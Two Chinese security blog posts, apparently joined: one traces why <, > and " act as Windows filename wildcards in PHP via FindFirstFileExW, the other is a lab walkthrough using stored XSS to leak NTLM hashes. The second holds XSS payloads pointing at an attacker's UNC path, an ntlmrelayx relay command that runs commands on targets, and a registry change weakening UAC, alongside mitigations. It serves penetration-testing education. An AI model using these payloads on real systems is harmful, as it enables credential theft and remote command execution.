PHP源码调试之Windows文件通配符分析

0x00 前言

很早之前就有国外的安全研究人员发现PHP语言在Windows上的一些奇妙特性:

  • 大于号(>)相等于通配符问号(?)
  • 小于号(<)相当于通配符星号(*)
  • 双引号(“)相当于点字符(.)

具体文章参见:https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/

那么问题来了,根本原因是什么呢?是PHP语言本身的问题还是Windows的锅呢?

0x01 分析

出于对这个问题的好奇,笔者进行了一下的挖掘和分析。
在分析之前为了避免自己做了无用功,先Google了一番,找到了以下这些文章且都是通过Fuzz的方法发现的,并没有太多资料解释更深层次的原因。

静态分析

既然没有现成的解释,那么我们便可以自己动手分析以下。
首先,下载PHP的源代码尝试进行静态分析。

git clone https://github.com/php/php-src
git checkout PHP-7.2.1 

随便选取一个可以操作文件的PHP方法, 如getimagesize.
尝试进行全局搜索,我们在\php-src\ext\standard\image.c的第1501-1506行发现了该方法的具体定义:

/* }}} */

/* {{{ proto array getimagesize(string imagefile [, array info])
   Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

可见,getimagesize方法调用了php_getimagesize_from_any方法,那么接下来又是如何调用的呢?当然,你可以继续逐层追踪下去,但是这将会比较费时费力同时也需要更过的精力去理解大量的代码逻辑。笔者在这里将尝试从动态调试的角度来简化这个分析过程。

动态调试

在动态调试之前,我们需要做一些提前的准备如下:

  • PHP的源码(本文调试的版本是7.2.1)
  • Visual Studio 2017

参考PHP官方文档在Windows上编译PHP-7.2.1:
https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2
具体步骤这里不在赘述,唯一需要注意的点在于在编译之前用以下的命令来建立自己的configure文件:

configure --enable-debug --enable-phpdbg
编译完成之后,你会看到类似于下图的编译之后的PHP可执行文件:

接下来,我们需要准备一个测试目录,具体结构如下:

C:\
- Research\
  -- admin\
      --- test.png
  -- poc.php 

准备一个poc.php文件,具体内容如下:

<?php
$a = "c:\\research\\phptest\\ad<\\test.png";
exec('pause');
if(@getimagesize($a)){
    echo "Success";
}else{
    echo "Failed";
}
?>

使用我们编译后的PHP来执行的话,正常情况下应该会返回Success:

一切准备就绪,便可以进行动态调试了。
先启动Visual Studio打开我们在静态分析时找到的\php-src\ext\standard\image.c文件在第1505行下一个断点。

进入C:\Research\目录,使用编译后的PHP(例如:C:\Research\php-sdk\phpdev\vc15\x64\php-7.2.1-src\x64\Debug_TS\php.exe)来执行我们的poc.php文件,并在Visual Studio里打开“调试-附加进程”来附加此处的PHP进程。

返回到执行poc文件的命令行下,敲击回车,我们发现前面设置的断点被成功hit了。

接下来的操作就需要特别的仔细和耐心了,使用VS提供的调试命令:

  • F10: 单步调试
  • F11: 逐语句调试
  • Shift + F11: 跳出

最终我们通过动态调试在\php-src\Zend\zend_virtual_cwd.c的第841行找到了Window API里的FindFirstFileExW()方法:

#ifdef ZEND_WIN32
        if (save) {
            pathw = php_win32_ioutil_any_to_w(path);
            if (!pathw) {
                return -1;
            }
            hFind = FindFirstFileExW(pathw, FindExInfoBasic, &dataw, FindExSearchNameMatch, NULL, 0);
            if (INVALID_HANDLE_VALUE == hFind) {
                if (use_realpath == CWD_REALPATH) {
                    /* file not found */
                    FREE_PATHW()
                    return -1;
                }
                /* continue resolution anyway but don't save result in the cache */
                save = 0;
            } else {
                FindClose(hFind);
            }
        }

也就是说PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW(),调用顺序如下:
  • PHP_FUNCTION(getimagesize)
  • php_getimagesize_from_any
  • _php_stream_open_wrapper_ex
  • php_stream_locate_url_wrapper
  • wrapper->wops->stream_opener
  • php_plain_files_stream_opener
  • php_stream_fopen_rel
  • _php_stream_fopen
  • expand_filepath
  • expand_filepath_ex
  • expand_filepath_with_mode
  • virtual_file_ex
  • tsrm_realpath_r
  • FindFirstFileExW

而根据StackOverflow上面的一个相关问题和MSDN的解释,这是NtQueryDirectoryFile / ZwQueryDirectoryFile通过FsRtlIsNameInExpression的一个功能特性,对于FsRtlIsNameInExpression有如下描述:

The following wildcard characters can be used in the pattern string.

Wildcard character  Meaning

* (asterisk)        Matches zero or more characters.

? (question mark)   Matches a single character.

DOS_DOT             Matches either a period or zero characters beyond the name
                    string.

DOS_QM              Matches any single character or, upon encountering a period
                    or end of name string, advances the expression to the end of
                    the set of contiguous DOS_QMs.

DOS_STAR            Matches zero or more characters until encountering and
                    matching the final . in the name.

另外,MSDN的解释并没有提到DOC-*具体指哪些字符,但根据ntfs.h,我们发现了如下的定义:

//  The following constants provide addition meta characters to fully
//  support the more obscure aspects of DOS wild card processing.

#define DOS_STAR        (L'<')
#define DOS_QM          (L'>')
#define DOS_DOT         (L'"')

因此,我们终于搞明白了为什么前言中说的这三个字符在Windows上被赋予了不同的含义了。

0x02 总结

通过以上分析,我们可以做以下的简短总结:

  • 问题产生的根本原因是PHP调用了Windows API里的FindFirstFileExW()或FindFirstFile()方法
  • 该Windows API方法对于这三个字符做了特别的对待和处理
  • 任何调用该Windows API方法的语言都有可能存在以上这个问题,比如:Python

0x03 参考

渗透测试技巧之一个XSS引发的漏洞利用与思考

0x00 前言

某日,某位小伙伴在微信上发我一个问题,如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果,如RCE?想来这是个很值得思考的一个问题,故有此文。

0x01 分析

首先分析一下问题的题干:

  • 存储型XSS
  • 后渗透利用

首先整理一下可能的思路:

  • 思路一:利用浏览器的漏洞来达到代码执行的效果
  • 思路二:利用浏览器的内置功能直接执行系统命令,如:IE的ActiveX
  • 思路三:利用XSS获取NTLMhash再结合SMB Relay攻击来渗透内网

思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易,放弃!

思路二的利用局限性很大,尤其是IE的ActiveX功能由于安全性问题默认都是Disable的,放弃!

那么现在就剩下思路三了,当然这也是今天这篇文章想要重点探讨的一个方法。

众所周知,在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash,从而用来离线破解可能的弱密码或者利用Pass The Hash攻击,其实还有种方法是SMB Relay,相关的利用文章有很多,具体可以参考如下,这里就不在赘述。

那么如何通过XSS来获得NTLMhash呢?

其实原理很简单,Windows系统上只要某个应用可以访问UNC路径下的资源,系统就会默认发送NTLMhash至UNC服务器,比如如下可行的方法:

因此我们可以使用下面例子来通过XSS获取NTLMhash:

<img src="\\\\<attacker ip>\\smbrelay"> 
Or
<script src="\\\\<attacker ip>\\smbrelay"/>

然后,我们可以设置好SMB Relay的监听工具并插入上述的XSS payload进入目标服务里,一旦管理员或者任何内网中的用户访问目标服务,XSS payload就会被执行并将该用户的Windows系统的NTLMhash发送至我们的监听服务器。

最后,通过SMB Relay工具利用获取到的NTLMhash对内网的其他主机发起攻击并可能远程执行任意命令从而最终获得系统控制权。

0x02 实验

有了上面的理论分析,接下来就是实验论证可行性了。

准备如下实验机器:

  • 目标内网主机A:Windows 7 64位 (10.0.0.5)
  • 目标内网主机B:Windows 7 32位 (10.0.0.6)
  • 受害者主机C: Windows XP (10.0.0.8)
  • 攻击机D:Kali Linux (10.0.0.7)

实验前提:

  • 主机C可以远程访问主机A和B的administrative share(即admin$和C$)
    • 对于WORKGROUP中的机器,主机A, B和C的本地管理员组必须同时存在一个相同用户名和密码的账号,且主机C以该账号登陆,另外对于主机A和B需要通过以下方式关闭UAC(适用于Win7及以上操作系统)
      • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
    • 对于域中的机器,主机A, B和C的本地管理员组必须同时存在一个相同的域账号(一般都是域管理员账号),且主机C以该账号登陆即可
  • 主机A和B组策略中的Network security: LAN Manager authentication level不能是Send NTLMv2 response only. Refuse LM & NTLM(别担心,默认就不是)

实验步骤:

一 在攻击机D上下载并安装Impacket中的ntlmrelayx脚本,并开启监听如下:

python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt

targets.txt:

10.0.0.5
10.0.0.6
10.0.0.8

二 插入如下XSS payload并在受害者主机C上打开存在XSS漏洞的页面,实验中以DVWA为例

<script src="\\\\10.0.0.7\\smbrelay">

三 此时,攻击机D上便可以看到我们已经成功地在主机A和B上执行了系统命令并返回了各自的主机名,如下:

0x03 总结

总结一下这里的利用思路

  • 利用XSS获取内网主机的NTLMhash(此处应该是Net-NTLMhash)
  • 利用ntlmrelayx脚本配合获取到的NTLMhash执行SMB Relay攻击从而在目标主机上执行任意系统命令

实战中的意义

其实对于工作组中的主机利用的条件相对比较苛刻,首先你得需要受害者可以访问内网中目标主机的administrative share,且目标主机关闭了UAC并保持了默认的组策略配置;对于域中的主机,需要受害者正在以域管理员账户登陆主机,如果这种情况下的话利用成本将会大大降低且危害很大。

减轻方法

  • 开启主机的UAC功能
  • 配置主机的组策略中的Network security: LAN Manager authentication level为Send NTLMv2 response only. Refuse LM & NTLM
  • 不要以域管理员账户登陆主机并点击任意不明文件和链接

0x04 参考

注:尊重知识产权,从你我做起,转载请注明出处,否则谢绝转载,谢谢!